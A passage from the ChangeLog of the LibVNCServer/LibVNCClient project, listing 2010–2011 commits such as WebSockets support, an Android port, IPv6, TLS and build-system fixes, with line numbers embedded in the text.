<github@martintribe.org> 1803 1804 * configure.ac, libvncserver/Makefile.am, libvncserver/md5.c, 1805 libvncserver/md5.h, libvncserver/rfbserver.c, 1806 libvncserver/sockets.c, libvncserver/websockets.c, rfb/rfb.h: 1807 websockets: Initial WebSockets support. Has a bug: WebSocket client disconnects are not detected. 1808 rfbSendFramebufferUpdate is doing a MSG_PEEK recv to determine if 1809 enough data is available which prevents a disconnect from being 1810 detected. Otherwise it's working pretty well. [jes: moved added struct members to the end for binary compatibility 1811 with previous LibVNCServer versions, removed an unused variable] Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1812 18132011-08-17 Johannes Schindelin <johannes.schindelin@gmx.de> 1814 1815 * .gitignore: .gitignore: zippy has moved Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1816 18172011-07-25 Christian Beier <dontmind@freeshell.org> 1818 1819 * examples/android/README: Add installation hints to android example 1820 README. 1821 18222011-07-22 William Roberts <wroberts@sta.samsung.com> 1823 1824 * examples/android/jni/fbvncserver.c: Reduced memory footprint by 1825 50% 1826 18272011-07-22 William Roberts <wroberts@sta.samsung.com> 1828 1829 * examples/android/jni/fbvncserver.c: Corrected resolution issue, 1830 but screen is getting reported as wrong size 1831 18322011-07-23 ckanru <ckanru@code.google.com> 1833 1834 * examples/android/jni/fbvncserver.c: Fixes running vncserver on 1835 beagleboard/0xdroid and possibly any device without a touch screen. 1836 Because fake touch screen always report zero when query device 1837 information, coordinates transformation is not needed. Signed-off-by: Christian Beier <dontmind@freeshell.org> 1838 18392011-07-23 Christian Beier <dontmind@freeshell.org> 1840 1841 * configure.ac, examples/Makefile.am, examples/android/Makefile.am, 1842 rfb/rfb.h, vncterm/Makefile.am: Adopt autotools build system to 1843 Android. LibVNCServer/LibVNCClient now build for Android! 1844 18452011-07-23 Christian Beier <dontmind@freeshell.org> 1846 1847 * examples/android/README, examples/android/jni/Android.mk, 1848 examples/android/jni/fbvncserver.c: Add androidvncserver example. 1849 18502011-07-22 letsgoustc <letsgoustc@gmail.com> 1851 1852 * rfb/rfb.h: Make LibVNCServer build for Android. Signed-off-by: Christian Beier <dontmind@freeshell.org> 1853 18542011-07-19 Joel Martin <github@martintribe.org> 1855 1856 * libvncserver/tight.c: tightPng: check even for SendGradientRect. Signed-off-by: Christian Beier <dontmind@freeshell.org> 1857 18582011-07-19 Joel Martin <github@martintribe.org> 1859 1860 * CMakeLists.txt, configure.ac, libvncserver/Makefile.am, 1861 libvncserver/rfbserver.c, libvncserver/stats.c, 1862 libvncserver/tight.c, rfb/rfb.h, rfb/rfbconfig.h.cmake, 1863 rfb/rfbproto.h: tightPng: Add initial tightPng encoding support. http://wiki.qemu.org/VNC_Tight_PNG Signed-off-by: Joel Martin <github@martintribe.org> Signed-off-by: 1864 Christian Beier <dontmind@freeshell.org> 1865 18662011-06-01 Christian Beier <dontmind@freeshell.org> 1867 1868 * libvncserver/main.c, libvncserver/sockets.c: Remove some unused 1869 variables. 1870 18712010-11-14 George Kiagiadakis <kiagiadakis.george@gmail.com> 1872 1873 * libvncserver/sockets.c, rfb/rfb.h: Fix rfbProcessNewConnection to 1874 return some value instead of void. BUG: 256891 Signed-off-by: Christian Beier <dontmind@freeshell.org> 1875 18762010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com> 1877 1878 * libvncserver/main.c, libvncserver/sockets.c, rfb/rfb.h: Split two 1879 event-loop related functions out of the rfbProcessEvents() 1880 mechanism. This is required to be able to do proper event loop integration with 1881 Qt. Idea was taken from vino's libvncserver fork. Signed-off-by: Christian Beier <dontmind@freeshell.org> 1882 18832011-05-06 Cristian Rodríguez <crrodriguez@opensuse.org> 1884 1885 * libvncserver/tightvnc-filetransfer/filetransfermsg.c: Fix buffer 1886 overflow Signed-off-by: Cristian Rodríguez <crrodriguez@opensuse.org> 1887 Signed-off-by: Christian Beier <dontmind@freeshell.org> 1888 18892011-04-30 Christian Beier <dontmind@freeshell.org> 1890 1891 * libvncserver/tight.c: Revert "Fix memory corruption bug." This reverts commit c1363fa9583ed41b94fbc79b3ff410b7d5189407. The proper fix was already in 1892 804335f9d296440bb708ca844f5d89b58b50b0c6. 1893 18942011-04-28 Johannes Schindelin <johannes.schindelin@gmx.de> 1895 1896 * AUTHORS: UTF-8ify AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1897 18982011-04-28 Johannes Schindelin <johannes.schindelin@gmx.de> 1899 1900 * AUTHORS: Update AUTHORS Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1901 19022010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com> 1903 1904 * libvncserver/tight.c: Fix memory corruption bug. This bug occured when a second telepathy tubes client was connected 1905 after the first one had disconnected and the channel (thus, the 1906 screen too) had been destroyed. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1907 19082010-11-10 George Kiagiadakis <kiagiadakis.george@gmail.com> 1909 1910 * common/zywrletemplate.c, libvncserver/auth.c, 1911 libvncserver/rfbserver.c, libvncserver/scale.c, 1912 libvncserver/scale.h, rfb/rfb.h: Fix compilation in c89 mode. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 1913 19142011-04-27 Vic Lee <llyzs@163.com> 1915 1916 * libvncclient/tls.c: Replace deprecated GnuTLS functions 1917 gnutls_*_set_priority with gnutls_priority_set_direct. The functions gnutls_*_set_priority we used were marked deprecated 1918 since latest GnuTLS version 2.12. However the replacement function 1919 gnutls_priority_set_direct is available since 2.2, which is even 1920 lower than our version requirement 2.4 in configure. The patch just 1921 replace the deprecate function to fix the compile warning. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 1922 Schindelin <johannes.schindelin@gmx.de> 1923 19242011-03-30 Christian Beier <dontmind@freeshell.org> 1925 1926 * ChangeLog: Update ChangeLog for 0.9.8. 1927 19282011-03-29 Christian Beier <dontmind@freeshell.org> 1929 1930 * README: Remove RDP from the README description. We do VNC but no RDP. Pointed out by Vic Lee, thanks! 1931 19322011-03-29 Christian Beier <dontmind@freeshell.org> 1933 1934 * utils/git2cl.pl: Fix skipping of merge commits in log convert 1935 script. 1936 19372011-03-29 Christian Beier <dontmind@freeshell.org> 1938 1939 * bdf2c.pl, consolefont2c.pl, utils/bdf2c.pl, 1940 utils/consolefont2c.pl, utils/git2cl.pl: Add a git-log to GNU-Style 1941 ChangeLog converter script. Also put all helper scripts into a utils directory. 1942 19432011-03-28 Christian Beier <dontmind@freeshell.org> 1944 1945 * NEWS: Mention the pkg-config stuff in NEWS. 1946 19472011-03-27 Vic Lee <llyzs@163.com> 1948 1949 * .gitignore, Makefile.am, configure.ac, libvncclient.pc.in, 1950 libvncserver.pc.in: Add libvncserver.pc and libvncclient.pc files. Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian 1951 Beier <dontmind@freeshell.org> 1952 19532011-03-17 Christian Beier <dontmind@freeshell.org> 1954 1955 * libvncclient/ultra.c, libvncserver/ultra.c: Fix regression in 1956 Ultra encoding introduced by commit 1957 fe1ca16e9b75b5f38ab374c8dfff92d2c3ea4532. My bad. There we see what the encodings test is good for ;-) 1958 19592011-03-17 Christian Beier <dontmind@freeshell.org> 1960 1961 * test/encodingstest.c: Update encodingstest. * Fixed segfault on shutdown. * Updated to test all encodings. * Fixed to operate with encodings that split up rects into smaller rects. 1962 19632011-03-17 Christian Beier <dontmind@freeshell.org> 1964 1965 * libvncclient/rfbproto.c: Remove useless comparisons that always 1966 evaluate to false. There can not be more than 255 security types and MSLogon is RFB 3.6 1967 only. 1968 19692011-03-17 Christian Beier <dontmind@freeshell.org> 1970 1971 * examples/rotate.c, examples/rotatetemplate.c, examples/vncev.c, 1972 libvncclient/listen.c, libvncclient/rfbproto.c, 1973 libvncclient/ultra.c, libvncclient/zrle.c, 1974 libvncserver/rfbserver.c, libvncserver/ultra.c: Fix (most) MinGW32 1975 compiler warnings. 1976 19772011-03-17 Christian Beier <dontmind@freeshell.org> 1978 1979 * examples/rotate.c, examples/zippy.c, libvncserver/zrle.c, 1980 libvncserver/zrleencodetemplate.c: Fix remaining compiler warnings. 1981 19822011-03-17 Christian Beier <dontmind@freeshell.org> 1983 1984 * VisualNaCro/nacro.c, examples/backchannel.c, examples/camera.c, 1985 examples/colourmaptest.c, examples/example.c, 1986 examples/filetransfer.c, examples/fontsel.c, examples/mac.c, 1987 examples/pnmshow.c, examples/pnmshow24.c, examples/simple.c, 1988 examples/simple15.c, examples/vncev.c, examples/zippy.c, 1989 test/cargstest.c, test/copyrecttest.c, test/cursortest.c, 1990 test/encodingstest.c: Check rfbGetScreen() return value everywhere. This fixes a segfault when a server is invoked with the '-help' 1991 commandline argument. 1992 19932011-03-12 Christian Beier <dontmind@freeshell.org> 1994 1995 * CMakeLists.txt, rfb/rfbconfig.h.cmake: CMake: Check for libgcrypt 1996 availability. 1997 19982011-03-12 Christian Beier <dontmind@freeshell.org> 1999 2000 * CMakeLists.txt: CMake: Threads can be available even if SDL is 2001 not. 2002 20032011-03-12 Christian Beier <dontmind@freeshell.org> 2004 2005 * CMakeLists.txt: CMake: fix building SDLvncviewer. 2006 20072011-03-12 Christian Beier <dontmind@freeshell.org> 2008 2009 * Makefile.am: Include cmake configure file templates in dist 2010 tarball. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2011 20122011-03-12 Christian Beier <dontmind@freeshell.org> 2013 2014 * rfb/rfbconfig.h.in, rfb/stamp-h.in: Remove autogenerated files. 2015 20162011-03-12 Christian Beier <dontmind@freeshell.org> 2017 2018 * NEWS: Update NEWS for 0.9.8 release. 2019 20202011-03-07 Christian Beier <dontmind@freeshell.org> 2021 2022 * libvncclient/tls.c: Fix libvncclient TLS for Windows builds. GnuTLS seems to expect proper errno values internally. So set them 2023 in our custom push/pull functions. Parts of the patch stolen from 2024 libcurl, thanks! Signed-off-by: Christian Beier <dontmind@freeshell.org> 2025 20262011-03-07 Christian Beier <dontmind@freeshell.org> 2027 2028 * libvncclient/rfbproto.c: Let libvncclient build with gcrypt for 2029 MinGW32 builds. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2030 20312011-03-07 Vic Lee <llyzs@163.com> 2032 2033 * libvncclient/sockets.c: Use WaitForMessage instead of sleep in 2034 socket reading to fix performance issue. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2035 20362011-03-10 Christian Beier <dontmind@freeshell.org> 2037 2038 * common/d3des.c, common/d3des.h, libvncserver/auth.c, 2039 libvncserver/corre.c, libvncserver/cutpaste.c, libvncserver/draw.c, 2040 libvncserver/font.c, libvncserver/hextile.c, libvncserver/httpd.c, 2041 libvncserver/rfbregion.c, libvncserver/rre.c, 2042 libvncserver/selbox.c, libvncserver/sockets.c, 2043 libvncserver/stats.c, libvncserver/tableinit24.c, 2044 libvncserver/tableinitcmtemplate.c, 2045 libvncserver/tableinittctemplate.c, 2046 libvncserver/tabletrans24template.c, 2047 libvncserver/tabletranstemplate.c, libvncserver/translate.c, 2048 libvncserver/zrletypes.h, rfb/rfbregion.h, test/blooptest.c, 2049 test/cursortest.c: Set proper file permissions for source files. 2050 20512011-03-10 Christian Beier <dontmind@freeshell.org> 2052 2053 * CMakeLists.txt, configure.ac: Next version will be 0.9.8. 2054 20552011-03-10 Christian Beier <dontmind@freeshell.org> 2056 2057 * Makefile.am, configure.ac, contrib/Makefile.am, contrib/zippy.c, 2058 examples/Makefile.am, examples/zippy.c: Move zippy.c to examples. 2059 20602011-03-03 Christian Beier <dontmind@freeshell.org> 2061 2062 * libvncclient/sockets.c, libvncclient/tls.c, libvncserver/httpd.c, 2063 libvncserver/rfbserver.c, libvncserver/sockets.c: Call 2064 WSAGetLastError() everywhere errno is read after a Winsock call. Winsock does NOT update errno for us, we have fetch the last error 2065 manually using WSAGetLastError(). 2066 20672011-01-29 Christian Beier <dontmind@freeshell.org> 2068 2069 * common/lzoconf.h, common/lzodefs.h, common/minilzo.c, 2070 common/minilzo.h, libvncclient/Makefile.am, 2071 libvncserver/Makefile.am: Update minilzo library used for Ultra 2072 encoding to ver 2.04. According to the minilzo README, this brings a significant speedup 2073 on 64-bit architechtures. Changes compared to old version 1.08 can be found here: 2074 http://www.oberhumer.com/opensource/lzo/lzonews.php Signed-off-by: Christian Beier <dontmind@freeshell.org> 2075 20762011-01-24 Christian Beier <dontmind@freeshell.org> 2077 2078 * libvncserver/corre.c, libvncserver/main.c, 2079 libvncserver/private.h, libvncserver/rfbserver.c, 2080 libvncserver/rre.c, libvncserver/ultra.c, rfb/rfb.h: libvncserver: 2081 Make RRE, CoRRE and Ultra encodings thread-safe. This adds generic before/after encoding buffers to the rfbClient 2082 struct, so there is no need for thread local storage. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2083 20842011-02-02 Christian Beier <dontmind@freeshell.org> 2085 2086 * Makefile.am: Include CMakeLists.txt file in dist tarball. 2087 20882011-01-29 Christian Beier <dontmind@freeshell.org> 2089 2090 * .cvsignore, README.cvs, VisualNaCro/.cvsignore, 2091 classes/.cvsignore, client_examples/.cvsignore, contrib/.cvsignore, 2092 cvs_update_anonymously, examples/.cvsignore, 2093 libvncclient/.cvsignore, libvncserver/.cvsignore, 2094 libvncserver/tightvnc-filetransfer/.cvsignore, rfb/.cvsignore, 2095 test/.cvsignore, vncterm/.cvsignore: Remove unneeded files 2096 concerning CVS. We have a git repo nowadays and I guess we won't go back to CVS. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2097 20982011-01-31 Johannes Schindelin <johannes.schindelin@gmx.de> 2099 2100 * examples/example.dsp, libvncserver.dsp, libvncserver.dsw: Remove 2101 completely broken Visual Studio project files If people seriously consider building with Visual Studio, there is 2102 always CMake. Pointed out by Christian Beier. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2103 21042011-01-31 Christian Beier <dontmind@freeshell.org> 2105 2106 * client_examples/Makefile.am, client_examples/SDLvncviewer.c: 2107 SDLvncviewer: fix compilation from dist tarball. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2108 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2109 21102011-01-21 Vic Lee <llyzs@163.com> 2111 2112 * acinclude.m4, configure.ac, libvncclient/rfbproto.c, 2113 rfb/rfbproto.h: Add ARD (Apple Remote Desktop) security type support Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian 2114 Beier <dontmind@freeshell.org> 2115 21162011-01-25 Christian Beier <dontmind@freeshell.org> 2117 2118 * CMakeLists.txt, common/d3des.c, common/d3des.h, common/lzoconf.h, 2119 common/minilzo.c, common/minilzo.h, common/vncauth.c, 2120 common/zywrletemplate.c, libvncclient/Makefile.am, 2121 libvncclient/lzoconf.h, libvncclient/minilzo.c, 2122 libvncclient/minilzo.h, libvncclient/rfbproto.c, 2123 libvncclient/zrle.c, libvncserver/Makefile.am, 2124 libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/lzoconf.h, 2125 libvncserver/minilzo.c, libvncserver/minilzo.h, 2126 libvncserver/vncauth.c, libvncserver/zywrletemplate.c: Put files 2127 used by both libs into a 'common' dir. No functional changes. All files used by _both_ libvncserver and 2128 libvncclient are put into a 'common' directory and references from 2129 other files as well as Autotools and CMake build systems are 2130 updated. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2131 21322011-01-20 ebola_rulez <ebola_rulez@users.sourceforge.net> 2133 2134 * libvncserver/vncauth.c: Fix two errors found by cppcheck Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian 2135 Beier <dontmind@freeshell.org> 2136 21372011-01-01 runge <runge@karlrunge.com> 2138 2139 * libvncserver/rfbserver.c: Remove never used protocol version name 2140 string. 2141 21422010-12-29 runge <runge@karlrunge.com> 2143 2144 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 2145 x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, 2146 x11vnc/connections.c, x11vnc/connections.h, x11vnc/help.c, 2147 x11vnc/inet.c, x11vnc/inet.h, x11vnc/macosx.c, x11vnc/macosxCG.c, 2148 x11vnc/macosxCG.h, x11vnc/macosx_opengl.c, x11vnc/macosx_opengl.h, 2149 x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, 2150 x11vnc/screen.c, x11vnc/ssltools.h, x11vnc/util.c, x11vnc/x11vnc.1, 2151 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 2152 x11vnc/xwrappers.c: x11vnc: Use opengl to read screen on macosx. 2153 non-deprecated macosx interfaces for input injection. 2154 21552010-12-21 runge <runge@karlrunge.com> 2156 2157 * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, 2158 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: force 2159 --with-system-libvncserver to use correct headers. 2160 21612010-12-21 runge <runge@karlrunge.com> 2162 2163 * classes/ssl/ss_vncviewer, 2164 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 2165 -traversal.patch, 2166 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2167 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 2168 prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 2169 x11vnc/Makefile.am, x11vnc/README, x11vnc/RELEASE-NOTES, 2170 x11vnc/appshare.c, x11vnc/cleanup.c, x11vnc/gui.c, x11vnc/help.c, 2171 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/linuxfb.c, 2172 x11vnc/macosx.c, x11vnc/macosxCG.c, x11vnc/misc/Makefile.am, 2173 x11vnc/misc/README, x11vnc/misc/qt_tslib_inject.pl, 2174 x11vnc/misc/uinput.pl, x11vnc/pointer.c, x11vnc/remote.c, 2175 x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslhelper.c, 2176 x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/uinput.h, 2177 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.h, x11vnc/v4l.c, 2178 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 2179 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h, 2180 x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: 2181 touchscreen uinput support and Java viewer mousewheel support. See 2182 x11vnc/ChangeLog for rest. 2183 21842010-12-01 Tobias Doerffel <tobias.doerffel@gmail.com> 2185 2186 * libvncserver/sockets.c: libvncserver sockets: check cl->screen 2187 before accessing it In commit 079394ca5b14d8067b95a9cf95a834828b4425a6 new code with 2188 insufficient checks was introduced causing a segfault when doing a 2189 HTTP server connection. Such connections have no screen set in the 2190 client data structure. Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com> 2191 21922010-11-30 Christian Beier <dontmind@freeshell.org> 2193 2194 * Doxyfile: Doxygen documentation: actually add Doxyfile. 2195 21962010-11-29 Johannes Schindelin <johannes.schindelin@gmx.de> 2197 2198 * index.html, success.html: The website is now maintained 2199 independently Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2200 22012010-11-18 Christian Beier <dontmind@freeshell.org> 2202 2203 * client_examples/SDLvncviewer.c, client_examples/backchannel.c, 2204 client_examples/ppmtest.c, client_examples/vnc2mpg.c, 2205 examples/backchannel.c, examples/camera.c, examples/example.c, 2206 examples/filetransfer.c, examples/pnmshow.c, examples/pnmshow24.c, 2207 examples/vncev.c, rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h: Add 2208 doxygen documentation support. Adds automagically generating libvncserver/libvncclient API documentation using doxygen. This gives a nice overview on both 2209 APIs, include dependencies and function call/caller 2210 dependencies. TODO: Modify all the explaining comments in the .c files for use 2211 with doxygen as well. This patch only changes comments, no functional changes at all! Signed-off-by: Christian Beier <dontmind@freeshell.org> 2212 22132010-11-18 Christian Beier <dontmind@freeshell.org> 2214 2215 * libvncserver/main.c: libvncserver: fix endless loop when server 2216 closed client in threaded mode. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2217 22182010-11-18 Christian Beier <dontmind@freeshell.org> 2219 2220 * libvncserver/sockets.c: libvncserver sockets: favor per-screen 2221 maxclientwait over global one when set. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2222 22232010-11-11 Christian Beier <dontmind@freeshell.org> 2224 2225 * libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfbproto.h: 2226 libvncserver cleanup: remove rfbKeyFrame remnants. 2227 22282010-11-02 Christian Beier <dontmind@freeshell.org> 2229 2230 * libvncclient/rfbproto.c, libvncserver/main.c, 2231 libvncserver/rfbserver.c, libvncserver/stats.c, rfb/rfb.h, 2232 rfb/rfbclient.h, rfb/rfbproto.h: libvnc[server|client]: implement 2233 xvp VNC extension. This implements the xvp VNC extension, which is described in the 2234 community version of the RFB protocol: 2235 http://tigervnc.sourceforge.net/cgi-bin/rfbproto It is also 2236 mentioned in the official RFB protocol. 2237 22382010-10-28 Tobias Doerffel <tobias.doerffel@gmail.com> 2239 2240 * libvncserver/main.c: Added missing initialization of extension 2241 mutex When not calling rfbRegisterProtocolExtension() the extension mutex 2242 is uninitialized but used upon calling rfbGetExtensionIterator() and 2243 rfbReleaseExtensionIterator() in rfbNewTCPOrUDPClient(). This causes 2244 libvncserver to crash on Win32 when building with thread support. Signed-off-by: Tobias Doerffel <tobias.doerffel@gmail.com> 2245 Signed-off-by: Christian Beier <dontmind@freeshell.org> 2246 22472010-10-21 Christian Beier <dontmind@freeshell.org> 2248 2249 * libvncclient/rfbproto.c, rfb/rfbproto.h: Only define strncasecmp 2250 to _strnicmp when using MS compiler. Redefining strncasecmp to _strnicmp makes libvncclient hang forever 2251 in SetFormatAndEncodings() on Windows when built with MinGW64. Reported by Tobias Doerffel <tobias.doerffel@gmail.com>, thanks! 2252 22532010-10-20 Tobias Doerffel <tobias.doerffel@gmail.com> 2254 2255 * libvncserver/rfbserver.c: In rfbSendDirContent() we have to make 2256 sure to call closedir() before returning. This did not happen if 2257 rfbSendFileTransferMessage() failed. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2258 22592010-10-20 Christian Beier <dontmind@freeshell.org> 2260 2261 * libvncclient/sockets.c: Fix build failure wrt IP QoS support in 2262 libvncclient. This is a small addendum to 2263 0797e42a4aaf8131ae71899faea2d682ed81cb59. Seems that having IPv6 2264 support in the OS does not necessarily mean that IPV6_TCLASS is 2265 available. One such case seems to be Mac OS X 10.5. 2266 22672010-02-09 Vic Lee <llyzs@163.com> 2268 2269 * libvncclient/sockets.c: Avoid 100% CPU usage when calling 2270 ReadFromRFBServer and no available bytes to read Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Christian 2271 Beier <dontmind@freeshell.org> 2272 22732010-10-08 Christian Beier <dontmind@freeshell.org> 2274 2275 * rfb/rfbproto.h: rfb/rfbproto.h: Prefix WORDS_BIGENDIAN when it is 2276 defined. Some (all?) autotool versions do not properly prefix WORDS_BIGENDIAN 2277 with LIBVNCSERVER_, so do that manually here. Thanks to Lorenz Kolb for reporting. 2278 22792010-09-29 Christian Beier <dontmind@freeshell.org> 2280 2281 * TODO, libvncclient/rfbproto.c, libvncclient/sockets.c, 2282 libvncclient/vncviewer.c, rfb/rfbclient.h: IP QoS support in 2283 libvncclient. This enables setting the DSCP/Traffic Class field of IP/IPv6 packets 2284 sent by a client. For example starting a client with -qosdscp 184 2285 marks all outgoing traffic for expedited forwarding. Implementation for Win32 is still a TODO, though. See 2286 2287 http://betelco.blogspot.com/2009/03/dscp-marking-under-windows-at.htmlfor an overview of the Win32 QoS API mess... 2288 22892010-09-07 Christian Beier <dontmind@freeshell.org> 2290 2291 * TODO, libvncclient/sockets.c, libvncserver/httpd.c, 2292 libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 2293 Non-blocking sockets for Windows. Expands the SetNonBlocking() function in libvncclient/sockets.c to 2294 also work under Windows and also changes it to honour maybe already 2295 present socket flags. A similar function was introduced for libvncserver as well and all 2296 the #ifdef'ed fnctl calls replaced with calls to that one. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2297 22982010-09-06 Christian Beier <dontmind@freeshell.org> 2299 2300 * libvncserver/main.c, libvncserver/rfbserver.c, 2301 libvncserver/scale.c: Cleanup: remove CORBA stuff. The header file and most of the functions referred to do not exist 2302 in libvncserver. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2303 23042010-09-10 runge <runge@karlrunge.com> 2305 2306 * classes/ssl/ss_vncviewer, 2307 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 2308 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update 2309 classes/ssl jars, patches, and script 2310 23112010-09-10 runge <runge@karlrunge.com> 2312 2313 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 2314 x11vnc/Makefile.am, x11vnc/README, x11vnc/avahi.c, x11vnc/avahi.h, 2315 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/help.c, 2316 x11vnc/inet.c, x11vnc/keyboard.c, x11vnc/misc/ultravnc_repeater.pl, 2317 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 2318 x11vnc/pointer.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 2319 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 2320 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 2321 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 2322 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xwrappers.c: update 2323 to x11vnc 0.9.12 2324 23252010-09-06 Christian Beier <dontmind@freeshell.org> 2326 2327 * libvncclient/rfbproto.c, libvncserver/tight.c: Fix MinGW32 2328 compilation with libjpeg. MinGW32 (or more exactly, a rpcndr.h file included by winsock2.h) 2329 typedefs a 'boolean' type that jmorecfg.h included by jpeglib.h also 2330 tries to typedef. So, tell the jpeg headers. Closes: 3007302 2331 23322010-07-11 Christian Beier <dontmind@freeshell.org> 2333 2334 * configure.ac, libvncclient/sockets.c: Fix MinGW32 checking for 2335 IPv6. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2336 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2337 23382010-06-29 Vic Lee <llyzs@163.com> 2339 2340 * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, 2341 rfb/rfbclient.h: libvncclient: add ipv6 support [jes: pulled the "host" declarations into the conditionally compiled 2342 blocks where that variable is used. Also fixed non-IPv6 2343 connections.] Signed-off-by: Vic Lee <llyzs@163.com> Signed-off-by: Johannes 2344 Schindelin <johannes.schindelin@gmx.de> 2345 23462010-05-31 Wouter Van Meir <wouter.vanmeir@pandora.be> 2347 2348 * libvncclient/vncviewer.c: Call MallocFrameBuffer before 2349 SetFormatAndEncodings The hook is still called after InitialiseRFBConnection() so we can 2350 choose the color settings depending on the vnc server (or settings) 2351 in that hook. This way one can use the "VNC server default format" pixelformat if 2352 the client supports it, or perform a workaround (Intel AMT KVM 2353 "classic vnc" server only works using 8bit colors in RFB3.8) Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be> 2354 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2355 23562010-05-19 Christian Beier <dontmind@freeshell.org> 2357 2358 * libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: 2359 Implement a DisplayFinishedHook for libvncserver. If set, this hook gets called just before rfbSendFrameBufferUpdate() 2360 returns. Signed-off-by: Christian Beier <dontmind@freeshell.org> 2361 23622010-05-08 runge <runge@karlrunge.com> 2363 2364 * ChangeLog, libvncclient/rfbproto.c: libvncclient: 2365 rfbResizeFrameBuffer should also set updateRect. 2366 23672010-05-08 runge <runge@karlrunge.com> 2368 2369 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 2370 x11vnc/connections.c, x11vnc/screen.c, x11vnc/unixpw.c, 2371 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: tweaks to 2372 prepare_x11vnc_dist.sh. set cd->unixname in apply_opts(). 2373 23742010-05-07 Johannes Schindelin <johannes.schindelin@gmx.de> 2375 2376 * AUTHORS: Complete the AUTHORS file Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2377 23782010-05-07 Wouter Van Meir <wouter.vanmeir@pandora.be> 2379 2380 * CMakeLists.txt: fix CMakeLists.txt: other way to find pthread 2381 library ... and fixed linking of the tests in the examples directory. Signed-off-by: Wouter Van Meir <wouter.vanmeir@pandora.be> 2382 Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> 2383 23842010-05-05 runge <runge@karlrunge.com> 2385 2386 * classes/ssl/index.vnc, classes/ssl/proxy.vnc, 2387 classes/ssl/ultra.vnc, classes/ssl/ultraproxy.vnc, 2388 classes/ssl/ultrasigned.vnc, prepare_x11vnc_dist.sh, x11vnc/README, 2389 x11vnc/misc/enhanced_tightvnc_viewer/README, 2390 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 2391 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 2392 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 2393 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 2394 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 2395 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: misc/etv sync. 2396 23972010-05-01 runge <runge@karlrunge.com> 2398 2399 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 2400 x11vnc/help.c, 